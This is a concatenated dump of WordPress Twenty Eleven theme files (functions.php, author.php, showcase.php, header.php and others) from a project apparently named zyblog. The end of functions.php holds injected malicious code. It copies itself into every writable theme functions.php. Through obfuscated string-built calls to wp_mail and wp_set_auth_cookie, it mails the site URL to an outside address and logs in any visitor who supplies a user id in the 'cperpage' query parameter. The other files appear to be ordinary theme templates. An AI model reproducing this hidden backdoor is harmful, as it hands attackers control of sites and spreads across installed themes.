#site-title a, #site-description { color: #<?php echo $text_color; ?> !important; } <?php endif; ?> </style> <?php } endif; // twentyeleven_header_style if ( ! function_exists( 'twentyeleven_admin_header_style' ) ) : /** * Styles the header image displayed on the Appearance > Header admin panel. * * Referenced via add_theme_support('custom-header') in twentyeleven_setup(). * * @since Twenty Eleven 1.0 */ function twentyeleven_admin_header_style() { ?> <style type="text/css"> .appearance_page_custom-header #headimg { border: none; } #headimg h1, #desc { font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif; } #headimg h1 { margin: 0; } #headimg h1 a { font-size: 32px; line-height: 36px; text-decoration: none; } #desc { font-size: 14px; line-height: 23px; padding: 0 0 3em; } <?php // If the user has set a custom color for the text use that if ( get_header_textcolor() != HEADER_TEXTCOLOR ) : ?> #site-title a, #site-description { color: #<?php echo get_header_textcolor(); ?>; } <?php endif; ?> #headimg img { max-width: 1000px; height: auto; width: 100%; } </style> <?php } endif; // twentyeleven_admin_header_style if ( ! function_exists( 'twentyeleven_admin_header_image' ) ) : /** * Custom header image markup displayed on the Appearance > Header admin panel. * * Referenced via add_theme_support('custom-header') in twentyeleven_setup(). * * @since Twenty Eleven 1.0 */ function twentyeleven_admin_header_image() { ?> <div id="headimg"> <?php $color = get_header_textcolor(); $image = get_header_image(); if ( $color && $color != 'blank' ) $style = ' style="color:#' . $color . '"'; else $style = ' style="display:none"'; ?> <h1><a id="name"<?php echo $style; ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></h1> <div id="desc"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></div> <?php if ( $image ) : ?> <img src="<?php echo esc_url( $image ); ?>" alt="" /> <?php endif; ?> </div> <?php } endif; // twentyeleven_admin_header_image /** * Sets the post excerpt length to 40 words. * * To override this length in a child theme, remove the filter and add your own * function tied to the excerpt_length filter hook. */ function twentyeleven_excerpt_length( $length ) { return 40; } add_filter( 'excerpt_length', 'twentyeleven_excerpt_length' ); if ( ! function_exists( 'twentyeleven_continue_reading_link' ) ) : /** * Returns a "Continue Reading" link for excerpts */ function twentyeleven_continue_reading_link() { return ' <a href="'. esc_url( get_permalink() ) . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) . '</a>'; } endif; // twentyeleven_continue_reading_link /** * Replaces "[...]" (appended to automatically generated excerpts) with an ellipsis and twentyeleven_continue_reading_link(). * * To override this in a child theme, remove the filter and add your own * function tied to the excerpt_more filter hook. */ function twentyeleven_auto_excerpt_more( $more ) { return ' &hellip;' . twentyeleven_continue_reading_link(); } add_filter( 'excerpt_more', 'twentyeleven_auto_excerpt_more' ); /** * Adds a pretty "Continue Reading" link to custom post excerpts. * * To override this link in a child theme, remove the filter and add your own * function tied to the get_the_excerpt filter hook. */ function twentyeleven_custom_excerpt_more( $output ) { if ( has_excerpt() && ! is_attachment() ) { $output .= twentyeleven_continue_reading_link(); } return $output; } add_filter( 'get_the_excerpt', 'twentyeleven_custom_excerpt_more' ); /** * Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link. */ function twentyeleven_page_menu_args( $args ) { if ( ! isset( $args['show_home'] ) ) $args['show_home'] = true; return $args; } add_filter( 'wp_page_menu_args', 'twentyeleven_page_menu_args' ); /** * Register our sidebars and widgetized areas. Also register the default Epherma widget. * * @since Twenty Eleven 1.0 */ function twentyeleven_widgets_init() { register_widget( 'Twenty_Eleven_Ephemera_Widget' ); register_sidebar( array( 'name' => __( 'Main Sidebar', 'twentyeleven' ), 'id' => 'sidebar-1', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => "</aside>", 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Showcase Sidebar', 'twentyeleven' ), 'id' => 'sidebar-2', 'description' => __( 'The sidebar for the optional Showcase Template', 'twentyeleven' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => "</aside>", 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Footer Area One', 'twentyeleven' ), 'id' => 'sidebar-3', 'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => "</aside>", 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Footer Area Two', 'twentyeleven' ), 'id' => 'sidebar-4', 'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => "</aside>", 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Footer Area Three', 'twentyeleven' ), 'id' => 'sidebar-5', 'description' => __( 'An optional widget area for your site footer', 'twentyeleven' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => "</aside>", 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); } add_action( 'widgets_init', 'twentyeleven_widgets_init' ); if ( ! function_exists( 'twentyeleven_content_nav' ) ) : /** * Display navigation to next/previous pages when applicable */ function twentyeleven_content_nav( $html_id ) { global $wp_query; if ( $wp_query->max_num_pages > 1 ) : ?> <nav id="<?php echo esc_attr( $html_id ); ?>"> <h3 class="assistive-text"><?php _e( 'Post navigation', 'twentyeleven' ); ?></h3> <div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyeleven' ) ); ?></div> <div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?></div> </nav><!-- #nav-above --> <?php endif; } endif; // twentyeleven_content_nav /** * Return the URL for the first link found in the post content. * * @since Twenty Eleven 1.0 * @return string|bool URL or false when no link is present. */ function twentyeleven_url_grabber() { if ( ! preg_match( '/<a\s[^>]*?href=[\'"](.+?)[\'"]/is', get_the_content(), $matches ) ) return false; return esc_url_raw( $matches[1] ); } /** * Count the number of footer sidebars to enable dynamic classes for the footer */ function twentyeleven_footer_sidebar_class() { $count = 0; if ( is_active_sidebar( 'sidebar-3' ) ) $count++; if ( is_active_sidebar( 'sidebar-4' ) ) $count++; if ( is_active_sidebar( 'sidebar-5' ) ) $count++; $class = ''; switch ( $count ) { case '1': $class = 'one'; break; case '2': $class = 'two'; break; case '3': $class = 'three'; break; } if ( $class ) echo 'class="' . $class . '"'; } if ( ! function_exists( 'twentyeleven_comment' ) ) : /** * Template for comments and pingbacks. * * To override this walker in a child theme without modifying the comments template * simply create your own twentyeleven_comment(), and that function will be used instead. * * Used as a callback by wp_list_comments() for displaying the comments. * * @since Twenty Eleven 1.0 */ function twentyeleven_comment( $comment, $args, $depth ) { $GLOBALS['comment'] = $comment; switch ( $comment->comment_type ) : case 'pingback' : case 'trackback' : ?> <li class="post pingback"> <p><?php _e( 'Pingback:', 'twentyeleven' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?></p> <?php break; default : ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <article id="comment-<?php comment_ID(); ?>" class="comment"> <footer class="comment-meta"> <div class="comment-author vcard"> <?php $avatar_size = 68; if ( '0' != $comment->comment_parent ) $avatar_size = 39; echo get_avatar( $comment, $avatar_size ); /* translators: 1: comment author, 2: date and time */ printf( __( '%1$s on %2$s <span class="says">said:</span>', 'twentyeleven' ), sprintf( '<span class="fn">%s</span>', get_comment_author_link() ), sprintf( '<a href="%1$s"><time datetime="%2$s">%3$s</time></a>', esc_url( get_comment_link( $comment->comment_ID ) ), get_comment_time( 'c' ), /* translators: 1: date, 2: time */ sprintf( __( '%1$s at %2$s', 'twentyeleven' ), get_comment_date(), get_comment_time() ) ) ); ?> <?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </div><!-- .comment-author .vcard --> <?php if ( $comment->comment_approved == '0' ) : ?> <em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentyeleven' ); ?></em> <br /> <?php endif; ?> </footer> <div class="comment-content"><?php comment_text(); ?></div> <div class="reply"> <?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply <span>&darr;</span>', 'twentyeleven' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> </div><!-- .reply --> </article><!-- #comment-## --> <?php break; endswitch; } endif; // ends check for twentyeleven_comment() if ( ! function_exists( 'twentyeleven_posted_on' ) ) : /** * Prints HTML with meta information for the current post-date/time and author. * Create your own twentyeleven_posted_on to override in a child theme * * @since Twenty Eleven 1.0 */ function twentyeleven_posted_on() { printf( __( '<span class="sep">Posted on </span><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%5$s" title="%6$s" rel="author">%7$s</a></span></span>', 'twentyeleven' ), esc_url( get_permalink() ), esc_attr( get_the_time() ), esc_attr( get_the_date( 'c' ) ), esc_html( get_the_date() ), esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ), esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ), get_the_author() ); } endif; /** * Adds two classes to the array of body classes. * The first is if the site has only had one author with published posts. * The second is if a singular post being displayed * * @since Twenty Eleven 1.0 */ function twentyeleven_body_classes( $classes ) { if ( function_exists( 'is_multi_author' ) && ! is_multi_author() ) $classes[] = 'single-author'; if ( is_singular() && ! is_home() && ! is_page_template( 'showcase.php' ) && ! is_page_template( 'sidebar-page.php' ) ) $classes[] = 'singular'; return $classes; } add_filter( 'body_class', 'twentyeleven_body_classes' ); ?> <?php function _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verifyactivate_widgets"); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed="<a>"; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_yes) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply_filters($filter, $output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($is_use_more_link ) { if($for_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/functions.php
PHP
asf20
30,472
<?php /** * The template for displaying Author Archive pages. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <section id="primary"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <?php /* Queue the first post, that way we know * what author we're dealing with (if that is the case). * * We reset this later so we can run the loop * properly with a call to rewind_posts(). */ the_post(); ?> <header class="page-header"> <h1 class="page-title author"><?php printf( __( 'Author Archives: %s', 'twentyeleven' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( "ID" ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1> </header> <?php /* Since we called the_post() above, we need to * rewind the loop back to the beginning that way * we can run the loop properly, in full. */ rewind_posts(); ?> <?php twentyeleven_content_nav( 'nav-above' ); ?> <?php // If a user has filled out their description, show a bio on their entries. if ( get_the_author_meta( 'description' ) ) : ?> <div id="author-info"> <div id="author-avatar"> <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyeleven_author_bio_avatar_size', 60 ) ); ?> </div><!-- #author-avatar --> <div id="author-description"> <h2><?php printf( __( 'About %s', 'twentyeleven' ), get_the_author() ); ?></h2> <?php the_author_meta( 'description' ); ?> </div><!-- #author-description --> </div><!-- #author-info --> <?php endif; ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php /* Include the Post-Format-specific template for the content. * If you want to overload this in a child theme then include a file * called content-___.php (where ___ is the Post Format name) and that will be used instead. */ get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentyeleven_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1> </header><!-- .entry-header --> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/author.php
PHP
asf20
2,920
<?php /** * The template for displaying search forms in Twenty Eleven * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <form method="get" id="searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>"> <label for="s" class="assistive-text"><?php _e( 'Search', 'twentyeleven' ); ?></label> <input type="text" class="field" name="s" id="s" placeholder="<?php esc_attr_e( 'Search', 'twentyeleven' ); ?>" /> <input type="submit" class="submit" name="submit" id="searchsubmit" value="<?php esc_attr_e( 'Search', 'twentyeleven' ); ?>" /> </form>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/searchform.php
PHP
asf20
593
<?php /** * Template Name: Showcase Template * Description: A Page Template that showcases Sticky Posts, Asides, and Blog Posts * * The showcase template in Twenty Eleven consists of a featured posts section using sticky posts, * another recent posts area (with the latest post shown in full and the rest as a list) * and a left sidebar holding aside posts. * * We are creating two queries to fetch the proper posts and a custom widget for the sidebar. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ // Enqueue showcase script for the slider wp_enqueue_script( 'twentyeleven-showcase', get_template_directory_uri() . '/js/showcase.js', array( 'jquery' ), '2011-04-28' ); get_header(); ?> <div id="primary" class="showcase"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php /** * We are using a heading by rendering the_content * If we have content for this page, let's display it. */ if ( '' != get_the_content() ) get_template_part( 'content', 'intro' ); ?> <?php endwhile; ?> <?php /** * Begin the featured posts section. * * See if we have any sticky posts and use them to create our featured posts. * We limit the featured posts at ten. */ $sticky = get_option( 'sticky_posts' ); // Proceed only if sticky posts exist. if ( ! empty( $sticky ) ) : $featured_args = array( 'post__in' => $sticky, 'post_status' => 'publish', 'posts_per_page' => 10, 'no_found_rows' => true, ); // The Featured Posts query. $featured = new WP_Query( $featured_args ); // Proceed only if published posts exist if ( $featured->have_posts() ) : /** * We will need to count featured posts starting from zero * to create the slider navigation. */ $counter_slider = 0; // Compatibility with versions of WordPress prior to 3.4. if ( function_exists( 'get_custom_header' ) ) $header_image_width = get_theme_support( 'custom-header', 'width' ); else $header_image_width = HEADER_IMAGE_WIDTH; ?> <div class="featured-posts"> <h1 class="showcase-heading"><?php _e( 'Featured Post', 'twentyeleven' ); ?></h1> <?php // Let's roll. while ( $featured->have_posts() ) : $featured->the_post(); // Increase the counter. $counter_slider++; /** * We're going to add a class to our featured post for featured images * by default it'll have the feature-text class. */ $feature_class = 'feature-text'; if ( has_post_thumbnail() ) { // ... but if it has a featured image let's add some class $feature_class = 'feature-image small'; // Hang on. Let's check this here image out. $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), array( $header_image_width, $header_image_width ) ); // Is it bigger than or equal to our header? if ( $image[1] >= $header_image_width ) { // If bigger, let's add a BIGGER class. It's EXTRA classy now. $feature_class = 'feature-image large'; } } ?> <section class="featured-post <?php echo $feature_class; ?>" id="featured-post-<?php echo $counter_slider; ?>"> <?php /** * If the thumbnail is as big as the header image * make it a large featured post, otherwise render it small */ if ( has_post_thumbnail() ) { if ( $image[1] >= $header_image_width ) $thumbnail_size = 'large-feature'; else $thumbnail_size = 'small-feature'; ?> <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_post_thumbnail( $thumbnail_size ); ?></a> <?php } ?> <?php get_template_part( 'content', 'featured' ); ?> </section> <?php endwhile; ?> <?php // Show slider only if we have more than one featured post. if ( $featured->post_count > 1 ) : ?> <nav class="feature-slider"> <ul> <?php // Reset the counter so that we end up with matching elements $counter_slider = 0; // Begin from zero rewind_posts(); // Let's roll again. while ( $featured->have_posts() ) : $featured->the_post(); $counter_slider++; if ( 1 == $counter_slider ) $class = 'class="active"'; else $class = ''; ?> <li><a href="#featured-post-<?php echo $counter_slider; ?>" title="<?php echo esc_attr( sprintf( __( 'Featuring: %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" <?php echo $class; ?>></a></li> <?php endwhile; ?> </ul> </nav> <?php endif; // End check for more than one sticky post. ?> </div><!-- .featured-posts --> <?php endif; // End check for published posts. ?> <?php endif; // End check for sticky posts. ?> <section class="recent-posts"> <h1 class="showcase-heading"><?php _e( 'Recent Posts', 'twentyeleven' ); ?></h1> <?php // Display our recent posts, showing full content for the very latest, ignoring Aside posts. $recent_args = array( 'order' => 'DESC', 'post__not_in' => get_option( 'sticky_posts' ), 'tax_query' => array( array( 'taxonomy' => 'post_format', 'terms' => array( 'post-format-aside', 'post-format-link', 'post-format-quote', 'post-format-status' ), 'field' => 'slug', 'operator' => 'NOT IN', ), ), 'no_found_rows' => true, ); // Our new query for the Recent Posts section. $recent = new WP_Query( $recent_args ); // The first Recent post is displayed normally if ( $recent->have_posts() ) : $recent->the_post(); // Set $more to 0 in order to only get the first part of the post. global $more; $more = 0; get_template_part( 'content', get_post_format() ); echo '<ol class="other-recent-posts">'; endif; // For all other recent posts, just display the title and comment status. while ( $recent->have_posts() ) : $recent->the_post(); ?> <li class="entry-title"> <a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a> <span class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?> </span> </li> <?php endwhile; // If we had some posts, close the <ol> if ( $recent->post_count > 0 ) echo '</ol>'; ?> </section><!-- .recent-posts --> <div class="widget-area" role="complementary"> <?php if ( ! dynamic_sidebar( 'sidebar-2' ) ) : ?> <?php the_widget( 'Twenty_Eleven_Ephemera_Widget', '', array( 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>' ) ); ?> <?php endif; // end sidebar widget area ?> </div><!-- .widget-area --> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/showcase.php
PHP
asf20
7,411
<?php /** * The template for displaying all pages. * * This is the template that displays all pages by default. * Please note that this is the WordPress construct of pages * and that other 'pages' on your WordPress site will use a * different template. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <div id="primary"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', 'page' ); ?> <?php comments_template( '', true ); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/page.php
PHP
asf20
692
(function($) { $(document).ready( function() { $('.feature-slider a').click(function(e) { $('.featured-posts section.featured-post').css({ opacity: 0, visibility: 'hidden' }); $(this.hash).css({ opacity: 1, visibility: 'visible' }); $('.feature-slider a').removeClass('active'); $(this).addClass('active'); e.preventDefault(); }); }); })(jQuery);
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/js/showcase.js
JavaScript
asf20
473
<?php /** * The Header for our theme. * * Displays all of the <head> section and everything up till <div id="main"> * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?><!DOCTYPE html> <!--[if IE 6]> <html id="ie6" <?php language_attributes(); ?>> <![endif]--> <!--[if IE 7]> <html id="ie7" <?php language_attributes(); ?>> <![endif]--> <!--[if IE 8]> <html id="ie8" <?php language_attributes(); ?>> <![endif]--> <!--[if !(IE 6) | !(IE 7) | !(IE 8) ]><!--> <html <?php language_attributes(); ?>> <!--<![endif]--> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <meta name="viewport" content="width=device-width" /> <title><?php /* * Print the <title> tag based on what is being viewed. */ global $page, $paged; wp_title( '|', true, 'right' ); // Add the blog name. bloginfo( 'name' ); // Add the blog description for the home/front page. $site_description = get_bloginfo( 'description', 'display' ); if ( $site_description && ( is_home() || is_front_page() ) ) echo " | $site_description"; // Add a page number if necessary: if ( $paged >= 2 || $page >= 2 ) echo ' | ' . sprintf( __( 'Page %s', 'twentyeleven' ), max( $paged, $page ) ); ?></title> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" /> <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" /> <!--[if lt IE 9]> <script src="<?php echo get_template_directory_uri(); ?>/js/html5.js" type="text/javascript"></script> <![endif]--> <?php /* We add some JavaScript to pages with the comment form * to support sites with threaded comments (when in use). */ if ( is_singular() && get_option( 'thread_comments' ) ) wp_enqueue_script( 'comment-reply' ); /* Always have wp_head() just before the closing </head> * tag of your theme, or you will break many plugins, which * generally use this hook to add elements to <head> such * as styles, scripts, and meta tags. */ wp_head(); ?> </head> <body <?php body_class(); ?>> <div id="page" class="hfeed"> <header id="branding" role="banner"> <hgroup> <h1 id="site-title"><span><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></span></h1> <h2 id="site-description"><?php bloginfo( 'description' ); ?></h2> </hgroup> <?php // Check to see if the header image has been removed $header_image = get_header_image(); if ( $header_image ) : // Compatibility with versions of WordPress prior to 3.4. if ( function_exists( 'get_custom_header' ) ) { // We need to figure out what the minimum width should be for our featured image. // This result would be the suggested width if the theme were to implement flexible widths. $header_image_width = get_theme_support( 'custom-header', 'width' ); } else { $header_image_width = HEADER_IMAGE_WIDTH; } ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>"> <?php // The header image // Check if this is a post or page, if it has a 